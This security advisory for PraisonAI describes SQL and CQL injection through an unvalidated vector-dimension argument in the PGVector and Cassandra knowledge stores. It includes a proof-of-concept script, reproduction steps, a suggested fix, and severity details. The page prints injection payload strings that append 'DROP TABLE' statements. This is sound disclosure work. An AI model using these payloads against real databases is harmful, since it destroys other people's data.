Skip to content

GHSA-wf65-4jjx-q444 CVE-2026-60090 PYSEC-2026-4260

PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

Critical PyPI
Severity
9.3 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.70%
Chance of exploitation in the next 30 days. Higher than 53.27% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CWE-943 Improper Neutralization of Special Elements in Data Query Logic
Fix
4.6.78
Upgrade praisonai to this version or later

Description

PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

Summary

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

Technical Details

The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.create_collection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.

src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: __init__() calls validate_identifier(schema, name="schema"), and _table_name() calls validate_identifier(collection, name="collection name") before returning f"{self.schema}.praison_vec_{collection}". However, PGVectorKnowledgeStore.create_collection() then executes:

cur.execute(f"""
    CREATE TABLE IF NOT EXISTS {table} (
        id VARCHAR(255) PRIMARY KEY,
        content TEXT,
        content_hash VARCHAR(64),
        created_at DOUBLE PRECISION,
        metadata JSONB,
        embedding vector({dimension})
    )
""")

No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenant_secrets; -- reaches the SQL sent to cur.execute().

src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and create_collection() validates the collection name, but the vector column DDL uses:

self._session.execute(f"""
    CREATE TABLE IF NOT EXISTS {name} (
        id text PRIMARY KEY,
        content text,
        content_hash text,
        created_at double,
        embedding vector<float, {dimension}>
    )
""")

Passing a string such as 3>; DROP TABLE tenant_secrets; -- reaches the CQL sent to session.execute().

PoV

This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.

#!/usr/bin/env python3
"""Local PoV for vector-store dimension DDL interpolation.

The script imports PraisonAI's current source with fake PostgreSQL/Cassandra
drivers, then records the SQL/CQL sent to the driver cursors. No database server
is required; the assertion is that the real classes build executable DDL with an
attacker-controlled dimension string.
"""

from __future__ import annotations

import argparse
import importlib
import json
import subprocess
import sys
import types
from pathlib import Path
from typing import Any


class SqlRecorder:
    def __init__(self) -> None:
        self.statements: list[dict[str, Any]] = []

    def execute(self, statement: str, params: Any = None) -> None:
        normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines())
        self.statements.append({"statement": normalized, "params": params})

    def __enter__(self) -> "SqlRecorder":
        return self

    def __exit__(self, *_exc: object) -> None:
        return None


class FakeConnection:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder

    def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:
        return self.recorder

    def commit(self) -> None:
        return None


class FakePool:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.conn = FakeConnection(recorder)

    def getconn(self) -> FakeConnection:
        return self.conn

    def putconn(self, _conn: FakeConnection) -> None:
        return None

    def closeall(self) -> None:
        return None


class FakeCassandraSession:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder
        self.keyspace: str | None = None

    def execute(self, statement: str, params: Any = None) -> list[Any]:
        self.recorder.execute(statement, params)
        return []

    def set_keyspace(self, keyspace: str) -> None:
        self.keyspace = keyspace


class FakeCluster:
    recorder: SqlRecorder

    def __init__(self, *_args: Any, **_kwargs: Any) -> None:
        self.session = FakeCassandraSession(self.recorder)

    def connect(self) -> FakeCassandraSession:
        return self.session

    def shutdown(self) -> None:
        return None


def install_fake_pg_driver(recorder: SqlRecorder) -> None:
    psycopg2 = types.ModuleType("psycopg2")
    pool = types.ModuleType("psycopg2.pool")
    extras = types.ModuleType("psycopg2.extras")

    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]
    extras.RealDictCursor = object  # type: ignore[attr-defined]
    psycopg2.pool = pool  # type: ignore[attr-defined]
    psycopg2.extras = extras  # type: ignore[attr-defined]

    sys.modules["psycopg2"] = psycopg2
    sys.modules["psycopg2.pool"] = pool
    sys.modules["psycopg2.extras"] = extras


def install_fake_cassandra_driver(recorder: SqlRecorder) -> None:
    cassandra = types.ModuleType("cassandra")
    cluster = types.ModuleType("cassandra.cluster")
    auth = types.ModuleType("cassandra.auth")

    FakeCluster.recorder = recorder
    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]
    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]

    sys.modules["cassandra"] = cassandra
    sys.modules["cassandra.cluster"] = cluster
    sys.modules["cassandra.auth"] = auth


def git_value(source_root: Path, *args: str) -> str:
    return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip()


def try_invalid_collection(store: Any) -> str:
    try:
        store.create_collection("docs; DROP TABLE blocked; --", 3)
    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.
        return f"{type(exc).__name__}: {exc}"
    return "accepted"


def run_pgvector(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_pg_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.pgvector")
    store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False)

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3); DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def run_cassandra(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_cassandra_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.cassandra")
    store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe")

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3>; DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--source-root", type=Path, default=Path.cwd())
    args = parser.parse_args()
    source_root = args.source_root.resolve()

    output = {
        "source": {
            "repository": "MervinPraison/PraisonAI",
            "head": git_value(source_root, "rev-parse", "HEAD"),
            "describe": git_value(source_root, "describe", "--tags", "--always", "--dirty"),
        },
        "pgvector": run_pgvector(source_root),
        "cassandra": run_cassandra(source_root),
    }

    assert output["pgvector"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["cassandra"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["pgvector"]["safe_contains_drop_table"] is False, output
    assert output["cassandra"]["safe_contains_drop_table"] is False, output
    assert output["pgvector"]["malicious_contains_drop_table"] is True, output
    assert output["cassandra"]["malicious_contains_drop_table"] is True, output

    print(json.dumps(output, indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

PoC

Save the PoV script above as pov_vector_dimension_ddl_injection.py, then reproduce against current head:

git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 pov_vector_dimension_ddl_injection.py --source-root .

Decisive PGVector output:

{
  "pgvector": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)"
      }
    ]
  }
}

Decisive Cassandra output:

{
  "cassandra": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)"
      }
    ]
  }
}

The local controls also showed safe integer dimensions produce embedding vector(3) and embedding vector<float, 3> without DROP TABLE, while malicious collection names are rejected before driver execution.

Impact

This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.

Suggested Fix

Validate dimension before constructing DDL in every backend that uses it. Prefer a shared helper at the KnowledgeStore.create_collection() boundary plus backend-level defense in depth:

def validate_vector_dimension(value: object) -> int:
    if isinstance(value, bool) or not isinstance(value, int):
        raise ValueError("dimension must be an integer")
    if value <= 0 or value > 200000:
        raise ValueError("dimension is outside the supported range")
    return value

Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as 3); DROP TABLE x; -- and 3>; DROP TABLE x; -- raise before any driver execute() call, alongside the existing malicious collection-name tests.

Affected Package/Versions

Affected package: praisonai.

The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at v3.10.0, v4.5.128, v4.6.59, v4.6.62, v4.6.63, v4.6.64, and current main commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. A conservative affected range is praisonai >= 3.10.0, <= 4.6.64 plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.

Advisory History

Repository security advisories were checked on 2026-06-19. The closest public advisory is GHSA-3643-7v76-5cj2, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are embedding vector({dimension}) and embedding vector<float, {dimension}>, and the issue remains after the identifier hardening.

Other checked comparators include conversation-store table_prefix SQL injection advisories (GHSA-rg3h-x3jw-7jm5, GHSA-x783-xp3g-mqhp) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.

References

  • src/praisonai/praisonai/persistence/knowledge/pgvector.py
  • src/praisonai/praisonai/persistence/knowledge/cassandra.py
  • src/praisonai/praisonai/persistence/knowledge/base.py
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.6.78
4.6.78

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.78

pip
pip install --upgrade "praisonai>=4.6.78"
poetry
poetry add "praisonai>=4.6.78"
uv
uv add "praisonai>=4.6.78"

Severity breakdown

CVSS 4.0 9.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-943: Improper Neutralization of Special Elements in Data Query Logic

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor